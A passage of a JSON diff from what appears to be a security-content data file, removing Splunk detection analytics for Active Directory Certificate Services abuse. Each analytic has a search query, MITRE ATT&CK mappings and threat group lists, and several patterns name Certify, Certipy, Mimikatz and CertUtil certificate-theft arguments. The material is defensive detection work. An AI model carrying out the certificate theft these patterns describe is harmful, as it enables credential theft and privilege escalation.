"Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1074", - "mitre_attack_technique": "Data Staged", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Scattered Spider", - "Volt Typhoon", - "Wizard Spider" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -437315,1210 +302081,7 @@ } } ], - "possible_detections": [ - { - "name": "Detect Certify Command Line Arguments", - "description": "The following analytic detects the use of Certify or Certipy tools to enumerate Active Directory Certificate Services (AD CS) environments. It leverages Endpoint Detection and Response (EDR) data, focusing on specific command-line arguments associated with these tools. This activity is significant because it indicates potential reconnaissance or exploitation attempts targeting AD CS, which could lead to unauthorized access or privilege escalation. If confirmed malicious, attackers could gain insights into the AD CS infrastructure, potentially compromising sensitive certificates and escalating their privileges within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (\"* find *\",\"* auth *\",\"* request *\",\"* req *\",\"* download *\",) AND Processes.process IN (\"* /vulnerable*\",\"* /enrolleeSuppliesSubject *\",\"* /json /outfile*\",\"* /ca*\", \"* -username *\",\"* -u *\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `detect_certify_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "Ingress Tool Transfer", - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Certify/Certipy arguments detected on $dest$.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Certify With PowerShell Script Block Logging", - "description": "The following analytic detects the use of the Certify tool via an in-memory PowerShell function to enumerate Active Directory Certificate Services (AD CS) environments. It leverages PowerShell Script Block Logging (EventCode 4104) to identify specific command patterns associated with Certify's enumeration and exploitation functions. This activity is significant as it indicates potential reconnaissance or exploitation attempts against AD CS, which could lead to unauthorized certificate issuance. If confirmed malicious, attackers could leverage this to escalate privileges, persist in the environment, or access sensitive information by abusing AD CS.", - "search": "`powershell` EventCode=4104 (ScriptBlockText IN (\"*find *\") AND ScriptBlockText IN (\"* /vulnerable*\",\"* -vulnerable*\",\"* /enrolleeSuppliesSubject *\",\"* /json /outfile*\")) OR (ScriptBlockText IN (,\"*auth *\",\"*req *\",) AND ScriptBlockText IN (\"* -ca *\",\"* -username *\",\"* -u *\")) OR (ScriptBlockText IN (\"*request *\",\"*download *\") AND ScriptBlockText IN (\"* /ca:*\")) | stats count min(_time) as firstTime max(_time) as lastTime list(ScriptBlockText) as command Values(OpCode) as reason values(Path) as file_name values(UserID) as user by _time Computer EventCode | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | eval file_name = case(isnotnull(file_name),file_name,true(),\"unknown\") | eval signature = substr(command,0,256) | rename Computer as dest,EventCode as signature_id | `detect_certify_with_powershell_script_block_logging_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell", - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Certify arguments through PowerShell detected on $dest$.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Certipy File Modifications", - "description": "The following analytic detects the use of the Certipy tool to enumerate Active Directory Certificate Services (AD CS) environments by identifying unique file modifications. It leverages endpoint process and filesystem data to spot the creation of files with specific names or extensions associated with Certipy's information gathering and exfiltration activities. This activity is significant as it indicates potential reconnaissance and data exfiltration efforts by an attacker. If confirmed malicious, this could lead to unauthorized access to sensitive AD CS information, enabling further attacks or privilege escalation within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime values(Processes.process_current_directory) as process_current_directory FROM datamodel=Endpoint.Processes where Processes.action=\"allowed\" BY _time span=1h Processes.user Processes.dest Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.parent_process_name Processes.parent_process Processes.process_guid Processes.action |`drop_dm_object_name(Processes)` | join max=0 dest process_guid [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*_certipy.zip\", \"*_certipy.txt\", \"*_certipy.json\", \"*.ccache\") by Filesystem.file_create_time Filesystem.process_id Filesystem.process_guid Filesystem.file_name Filesystem.file_path Filesystem.dest | `drop_dm_object_name(Filesystem)` ] | fields firstTime lastTime user dest file_create_time file_name file_path parent_process_name parent_process process_name process_path process_current_directory process process_guid process_id | where isnotnull(file_name) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_certipy_file_modifications_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration", - "Ingress Tool Transfer", - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious files $file_name$ related to Certipy detected on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1560", - "mitre_attack_technique": "Archive Collected Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "Axiom", - "Dragonfly", - "FIN6", - "Ke3chang", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "Patchwork", - "menuPass" - ] - } - ] - } - }, - { - "name": "Steal or Forge Authentication Certificates Behavior Identified", - "description": "The following analytic identifies potential threats related to the theft or forgery of authentication certificates. It detects when five or more analytics from the Windows Certificate Services story trigger within a specified timeframe. This detection leverages aggregated risk scores and event counts from the Risk data model. This activity is significant as it may indicate an ongoing attack aimed at compromising authentication mechanisms. If confirmed malicious, attackers could gain unauthorized access to sensitive systems and data, potentially leading to severe security breaches.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories=\"Windows Certificate Services\" All_Risk.risk_object_type=\"system\" by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 5 | `steal_or_forge_authentication_certificates_behavior_identified_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Steal or Forge Authentication Certificates Behavior Identified on $risk_object$.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows Export Certificate", - "description": "The following analytic detects the export of a certificate from the Windows Certificate Store. It leverages the Certificates Lifecycle log channel, specifically event ID 1007, to identify this activity. Monitoring certificate exports is crucial as certificates can be used for authentication to VPNs or private resources. If malicious actors export certificates, they could potentially gain unauthorized access to sensitive systems or data, leading to significant security breaches.", - "search": "`certificateservices_lifecycle` EventCode=1007 | xmlkv UserData_Xml | stats count min(_time) as firstTime max(_time) as lastTime by Computer, SubjectName, UserData_Xml | rename Computer as dest | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_export_certificate_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An certificate was exported on $dest$ from the Windows Certificate Store.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.004", - "mitre_attack_technique": "Private Keys", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Rocke", - "Scattered Spider", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows Mimikatz Crypto Export File Extensions", - "description": "The following analytic detects the creation of files with extensions commonly associated with the Mimikatz Crypto module. It leverages the Endpoint.Filesystem data model to identify specific file names indicative of certificate export activities. This behavior is significant as it may indicate the use of Mimikatz to export cryptographic keys, which is a common tactic for credential theft. If confirmed malicious, this activity could allow an attacker to exfiltrate sensitive cryptographic material, potentially leading to unauthorized access and further compromise of the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*.keyx.rsa.pvk\",\"*sign.rsa.pvk\",\"*sign.dsa.pvk\",\"*dsa.ec.p8k\",\"*dh.ec.p8k\", \"*.pfx\", \"*.der\") by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Filesystem)` | `windows_mimikatz_crypto_export_file_extensions_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Sandworm Tools", - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Certificate file extensions realted to Mimikatz were identified on disk on $dest$.", - "risk_score": 28, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows PowerShell Export Certificate", - "description": "The following analytic detects the use of the PowerShell Cmdlet `export-certificate` by leveraging Script Block Logging. This activity is significant as it may indicate an adversary attempting to exfiltrate certificates from the local Certificate Store on a Windows endpoint. Monitoring this behavior is crucial because stolen certificates can be used to impersonate users, decrypt sensitive data, or facilitate further attacks. If confirmed malicious, this activity could lead to unauthorized access to encrypted communications and sensitive information, posing a severe security risk.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*export-certificate*\") | rename Computer as dest | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText dest user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_export_certificate_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell Cmdlet related to exporting a Certificate was ran on $dest$, attempting to export a certificate.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.004", - "mitre_attack_technique": "Private Keys", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Rocke", - "Scattered Spider", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows PowerShell Export PfxCertificate", - "description": "The following analytic detects the use of the PowerShell cmdlet `export-pfxcertificate` by leveraging Script Block Logging. This activity is significant as it may indicate an adversary attempting to exfiltrate certificates from the Windows Certificate Store. Monitoring this behavior is crucial for identifying potential certificate theft, which can lead to unauthorized access and impersonation attacks. If confirmed malicious, this activity could allow attackers to compromise secure communications, authenticate as legitimate users, and escalate their privileges within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*export-pfxcertificate*\") | rename Computer as dest | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText dest user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_export_pfxcertificate_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell Cmdlet related to exporting a PFX Certificate was ran on $dest$, attempting to export a certificate.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.004", - "mitre_attack_technique": "Private Keys", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Rocke", - "Scattered Spider", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows Steal Authentication Certificates - ESC1 Abuse", - "description": "The following analytic detects when a new certificate is requested or granted against Active Directory Certificate Services (AD CS) using a Subject Alternative Name (SAN). It leverages Windows Security Event Codes 4886 and 4887 to identify these actions. This activity is significant because improperly configured certificate templates can be exploited for privilege escalation and environment compromise. If confirmed malicious, an attacker could gain elevated privileges or persist within the environment, potentially leading to unauthorized access to sensitive information and further exploitation.", - "search": "`wineventlog_security` EventCode IN (4886,4887) Attributes=\"*SAN:*upn*\" Attributes=\"*CertificateTemplate:*\" | stats count min(_time) as firstTime max(_time) as lastTime values(name) as name values(status) as status values(Subject) as ssl_subject values(SubjectKeyIdentifier) as ssl_hash by Computer, EventCode, Requester, Attributes, RequestId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| fillnull | rex field=Attributes \"(?i)CertificateTemplate:(?[^\\r\\n]+)\" | rex field=Attributes \"(?i)ccm:(?[^\\r\\n]+)\" | rex max_match=10 field=Attributes \"(?i)(upn=(?[^\\r\\n&]+))\" | rex max_match=10 field=Attributes \"(?i)(dns=(?[^\\r\\n&]+))\" | rex field=Requester \"(.+\\\\\\\\)?(?[^\\r\\n]+)\" | eval flavor_text = case(EventCode==\"4886\",\"A suspicious certificate was requested using request ID: \".'RequestId',EventCode==\"4887\", \"A suspicious certificate was issued using request ID: \".'RequestId'.\". To revoke this certifacte use this request ID or the SSL fingerprint [\".'ssl_hash'.\"]\"), dest = upper(coalesce(req_dest_1,req_dest_2)), src = upper(coalesce(req_src,Computer)) | fields - req_* | rename Attributes as object_attrs, EventCode as signature_id, name as signature, RequestId as ssl_serial, Requester as ssl_subject_common_name| `windows_steal_authentication_certificates___esc1_abuse_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src_user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible AD CS ESC1 activity by $src_user$ - $flavor_text$", - "risk_score": 60, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows Steal Authentication Certificates - ESC1 Authentication", - "description": "The following analytic detects when a suspicious certificate with a Subject Alternative Name (SAN) is issued using Active Directory Certificate Services (AD CS) and then immediately used for authentication. This detection leverages Windows Security Event Logs, specifically EventCode 4887, to identify the issuance and subsequent use of the certificate. This activity is significant because improperly configured certificate templates can be exploited for privilege escalation and environment compromise. If confirmed malicious, an attacker could gain unauthorized access, escalate privileges, and potentially compromise the entire environment.", - "search": "`wineventlog_security` EventCode IN (4887) Attributes=\"*SAN:*upn*\" Attributes=\"*CertificateTemplate:*\" | stats count min(_time) as firstTime max(_time) as lastTime values(name) as name values(status) as status values(Subject) as ssl_subject values(SubjectKeyIdentifier) as ssl_hash by Computer, EventCode, Requester, Attributes, RequestId | rex field=Attributes \"(?i)CertificateTemplate:(?[^\\r\\n]+)\" | rex field=Attributes \"(?i)ccm:(?[^\\r\\n]+)\" | rex max_match=10 field=Attributes \"(?i)(upn=(?[^\\r\\n&]+))\" | rex max_match=10 field=Attributes \"(?i)(dns=(?[^\\r\\n&]+))\" | rex field=Requester \"(.+\\\\\\\\)?(?[^\\r\\n]+)\" | rename Attributes as object_attrs, EventCode as signature_id, name as signature, RequestId as ssl_serial, Requester as ssl_subject_common_name | eval user = lower(coalesce(req_user_1,req_user_2)) | join user [ | search `wineventlog_security` EventCode=4768 CertThumbprint=* | rename TargetUserName as user, Computer as auth_dest, IpAddress as auth_src | fields auth_src,auth_dest,user ] | eval src = upper(coalesce(auth_src,req_src)), dest = upper(coalesce(auth_dest,req_dest_1,req_dest_2)), risk_score = 90 | eval flavor_text = case(signature_id==\"4887\", \"User account [\".'user'.\"] authenticated after a suspicious certificate was issued for it by [\".'src_user'.\"] using certificate request ID: \".'ssl_serial') | fields - req_* auth_* | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_steal_authentication_certificates___esc1_authentication_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "ssl_hash", - "type": "Other", - "role": [ - "Attacker" - ] - }, - { - "name": "ssl_serial", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible AD CS ESC1 authentication on $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Steal Authentication Certificates Certificate Issued", - "description": "The following analytic identifies the issuance of a new certificate by Certificate Services - AD CS, detected via Event ID 4887. This event logs the requester user context, DNS hostname of the requesting machine, and the request time. Monitoring this activity is crucial as it can indicate potential misuse of authentication certificates. If confirmed malicious, an attacker could use the issued certificate to impersonate users, escalate privileges, or maintain persistence within the environment. This detection helps in identifying and correlating suspicious certificate-related activities for further investigation.", - "search": "`wineventlog_security` EventCode=4887 | stats count min(_time) as firstTime max(_time) as lastTime by dest, name, Requester, action, Attributes, Subject | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_steal_authentication_certificates_certificate_issued_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A certificate was issued to $dest$.", - "risk_score": 8, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows Steal Authentication Certificates Certificate Request", - "description": "The following analytic detects when a new certificate is requested from Certificate Services - AD CS. It leverages Event ID 4886, which indicates that a certificate request has been received. This activity is significant because unauthorized certificate requests can be part of credential theft or lateral movement tactics. If confirmed malicious, an attacker could use the certificate to impersonate users, gain unauthorized access to resources, or establish persistent access within the environment. Monitoring and correlating this event with other suspicious activities is crucial for identifying potential security incidents.", - "search": "`wineventlog_security` EventCode=4886 | stats count min(_time) as firstTime max(_time) as lastTime by dest, name, Requester, action, Attributes | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_steal_authentication_certificates_certificate_request_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A certificate was requested by $dest$.", - "risk_score": 8, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows Steal Authentication Certificates CertUtil Backup", - "description": "The following analytic detects CertUtil.exe performing a backup of the Certificate Store. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line executions involving CertUtil with backup parameters. This activity is significant because it may indicate an attempt to steal authentication certificates, which are critical for secure communications. If confirmed malicious, an attacker could use the stolen certificates to impersonate users, decrypt sensitive data, or gain unauthorized access to systems, leading to severe security breaches.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_certutil` Processes.process IN (\"*-backupdb *\", \"*-backup *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_steal_authentication_certificates_certutil_backup_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to backup the Certificate Store.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows Steal Authentication Certificates CryptoAPI", - "description": "The following analytic detects the extraction of authentication certificates using Windows Event Log - CAPI2 (CryptoAPI 